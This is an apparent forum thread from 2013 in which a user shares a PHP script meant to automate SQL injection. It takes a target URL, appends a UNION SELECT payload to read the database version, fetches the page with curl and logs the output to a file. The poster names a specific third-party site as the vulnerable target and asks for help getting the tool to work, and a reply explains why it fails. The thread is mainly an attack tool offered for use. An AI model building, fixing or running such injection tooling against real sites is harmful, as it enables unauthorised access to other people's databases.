Writing an SQLi automated exploit tool.

Psycho_Coder · 07-11-2013, 06:03 AM

Looks impressive, Good work. I will now learn php. I know JSP but they aren't free JSP hosting Confused

ad: that I can test my scripts.

Psycho_Coder · 07-11-2013, 06:03 AM

Looks impressive, Good work. I will now learn php. I know JSP but they aren't free JSP hosting Confused

ad: that I can test my scripts.

VipVince · 07-11-2013, 08:07 PM

I thought this should work fine:

PHP Code:
<form action="?inject" method="POST">
<b>Enter site:</b><br>
<input type="text" name="site"><br>
<input type="submit" value="Submit"><br>
<br>
</form>
<?php
$site = security($_POST['site']);
$inject = $_GET['inject'];
if(isset($inject)) {
    if(!empty($site)){
        $query = 'null union all select 1,version(),3,4,5,6,7--';
        $siteq = $site.$query;
        //$fields = array('input' => $vuln 'submit' => '');
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $siteq);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        //curl_setopt($ch, CURLOPT_USERAGENT, $browser); //
        //curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
        $result = curl_exec($ch);
        if (!empty($result)) {
            $fp = fopen('vulns.txt', 'w');
            fwrite($fp, $site."\r\n");
            fwrite($fp, $result."\r\n");
            fwrite($fp, '=====================================================================================================================');
            fclose($fp);
            echo 'Echoed into the textdocument <a href="vulns.txt">vulns.txt</a>';
        }
        else {
        echo 'No feedback from webserver';
        }
    }
}
function security($value) {
//$sec = mysqli_real_escape_string($value);
$sec2 = stripcslashes($value);
$sec3 = strip_tags($sec2);
$sec4 = htmlspecialchars($sec3);
$sec5 = htmlentities($sec4);
//$sec6 = preg_replace("[^A-Za-z0-9%].,?!", "", $sec5); 
$sec7 = addslashes($sec5);
return $sec7;
}
?>

Basically input the vulnerable site and id= parameter and the tool would automatically append the SQL query to it which would write the results to file.

So when I add a vulnerable site to the form like:

http://www.clanwilliam.info/index.php?id=

The tool should append the SQLi variable data to it which should become:

http://www.clanwilliam.info/index.php?id=null 1,version(),3,4,5,6,7--

Result should be "5.1.66-0+SQUEEZE1-LOG"

Then I check vulns.txt for the results and it has this:

http://pastebin.com/n5UXeEw6

The appending never seemed to happened nor was the SQL version results viewable or written to file. If anybody thinks they may be able to fix this that would be appreciated.

The Alchemist · 07-12-2013, 05:08 PM

Obviously, it'll store that. Your script does not parse the output. It just gets the contents of the webpage generated by the url(along with the query) with your curl request and stores it in the text file.

The Alchemist · 07-12-2013, 05:08 PM

Obviously, it'll store that. Your script does not parse the output. It just gets the contents of the webpage generated by the url(along with the query) with your curl request and stores it in the text file.